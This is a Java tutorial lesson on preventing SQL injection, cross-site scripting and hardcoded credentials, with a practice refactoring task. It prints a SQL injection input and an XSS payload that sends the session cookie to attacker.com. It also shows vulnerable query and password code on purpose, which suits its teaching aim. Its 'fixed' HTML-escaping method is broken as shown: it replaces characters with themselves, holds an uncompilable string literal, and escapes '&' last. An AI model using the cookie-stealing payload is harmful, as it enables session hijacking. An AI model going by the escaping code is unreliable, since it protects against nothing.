-
Section 1: Getting Started
-
Section 2: Core Syntax
-
Section 3: Object-Oriented Java
-
Section 4: Collections Framework
-
Section 5: Exception Handling
-
Section 6: Generics
-
Section 7: Functional Java
-
Section 8: Concurrency
-
Section 9: I/O and NIO
-
Section 10: JVM Internals
-
Section 11: Modern Java Features
-
Section 12: Build Tools and Project Structure
-
Section 13: Testing
-
Section 14: Databases and Persistence
-
Section 15: Networking
-
Section 16: Design and Best Practices
-
Section 17: Reflection and Annotations
-
Section 18: Logging and Diagnostics
-
Section 19: Date, Time, and Internationalization
-
Section 20: Java Platform Module System
-
Section 21: Security in Java
-
Section 22: Advanced Collections and Data Structures
-
Section 23: More Concurrency Patterns
-
Section 24: Compression, Files, and System Integration
-
Section 25: GUI Programming
-
Section 26: Practical Projects
-
Section 27: Data Structures and Algorithms
-
Section 28: Interview and Algorithm Practice
-
Section 29: JSON and Data Interchange
-
Section 30: More Concurrency Utilities
-
Section 31: More Collections and Streams Practice
-
Section 32: More File and System Programming
-
Section 33: Standard Library Deep Dive
-
Section 34: More Practice and Drills
-
Section 35: More Testing and Quality
-
Section 36: More Design Patterns and Architecture
-
Section 37: Career and Ecosystem
-
Section 38: More OOP and Architecture Practice
-
Section 39: More Enterprise Concepts
-
Section 40: Advanced JavaFX
-
Section 41: More Interview Practice
189: Preventing Common Security Vulnerabilities in Java Code
Security is one of those things that usually feels like a checklist at the end of a project, but if you treat it that way, you're basically inviting a disaster. I've seen production databases wiped and user sessions hijacked simply because a developer thought, "I'll just get this working first and secure it later." Let's not do that. Instead, we're going to build a small User Profile Lookup tool and I'll show you where the traps are hidden.
Building a Quick User Lookup Tool
Imagine we need a feature where an admin can type in a username and pull up that user's profile from a database. In my head, this is simple: take a string, query the DB, and print the result. Here is how I'd start writing the logic for the search method.
public User findUser(String username) {
Connection conn = database.getConnection();
Statement statement = conn.createStatement();
// Just concatenating the input into the query
String query = "SELECT * FROM users WHERE username = '" + username + "'";
ResultSet rs = statement.executeQuery(query);
if (rs.next()) {
return new User(rs.getString("username"), rs.getString("bio"));
}
return null;
}
Wait, I just opened a massive hole in our database
Looking back at that code, I just committed the cardinal sin of Java database programming: SQL Injection. If a malicious user enters ' OR '1'='1 as the username, the resulting query becomes SELECT * FROM users WHERE username = '' OR '1'='1'. Since '1'='1' is always true, the attacker could potentially bypass authentication or dump the entire user table.
I need to stop treating user input as part of the executable command. The fix is using a PreparedStatement. This tells the database exactly what the query structure is, and treats the input strictly as data, not as code.
public User findUser(String username) {
Connection conn = database.getConnection();
// Use a placeholder (?) instead of concatenation
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username); // The driver handles escaping automatically
ResultSet rs = pstmt.executeQuery();
if (rs.next()) {
return new User(rs.getString("username"), rs.getString("bio"));
}
return null;
}
Closing the loop on Cross-Site Scripting
Now that the data is safe coming out of the database, we have to worry about how it's displayed. Let's say we're sending this user's bio to a simple HTML page. If I just drop the string into the HTML, I'm creating a Cross-Site Scripting (XSS) vulnerability.
If a user set their bio to <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>, anyone viewing that profile would unknowingly send their session cookie to the attacker. I can't trust the data in my own database because it was provided by a user.
To fix this, we must encode the output. While there are many libraries like OWASP Java Encoder, the core principle is replacing characters like < and > with their HTML entities (< and >).
public String formatBioForHtml(String bio) {
if (bio == null) return "";
// A simple manual replacement for demonstration;
// in production, use a vetted library like Apache Commons Text
return bio.replace("<", "<")
.replace(">", ">")
.replace("&", "&")
.replace("\"", """);
}
Keeping the keys out of the codebase
One last thing. When I was setting up the database.getConnection() method for this example, my first instinct was to just put the password in a constant: private static final String DB_PASS = "Admin123!";
Stop. Never do that. Even in private repositories, hardcoded credentials are a liability. If that code is ever leaked or the repo is compromised, your infrastructure is wide open. I'll use environment variables instead. It keeps the secret out of the version control system entirely.
public Connection getConnection() {
String dbUser = System.getenv("DB_USER");
String dbPass = System.getenv("DB_PASSWORD");
return DriverManager.getConnection("jdbc:mysql://localhost:3306/mydb", dbUser, dbPass);
}
By handling the input with prepared statements, encoding the output for the browser, and keeping secrets in the environment, we've turned a "quick and dirty" tool into something that won't keep me awake at night.
📋 Practical Task
Secure the Legacy User-Search Module
You've inherited a legacy Java class called LegacyUserSearch that is riddled with security flaws. Your task is to refactor the searchUserByEmail method to prevent SQL Injection and ensure the displayUserProfile method prevents XSS attacks.
Requirements:
- Replace the
Statementand string concatenation with aPreparedStatement. - Implement a basic HTML escaping mechanism (at minimum replacing
<and>) before returning the profile string for display. - Remove any hardcoded passwords and replace them with a call to
System.getenv().
// STARTING CODE (Vulnerable)
public class LegacyUserSearch {
private String dbPassword = "password123"; // VULNERABILITY 1
public User searchUserByEmail(String email) {
Connection conn = DriverManager.getConnection("jdbc:mysql://db:3306/app", "admin", dbPassword);
Statement stmt = conn.createStatement();
// VULNERABILITY 2
String query = "SELECT * FROM users WHERE email = '" + email + "'";
ResultSet rs = stmt.executeQuery(query);
// ... logic to return User object
}
public String displayUserProfile(User user) {
// VULNERABILITY 3
return "<div>User Bio: " + user.getBio() + "</div>";
}
}There are no comments for now.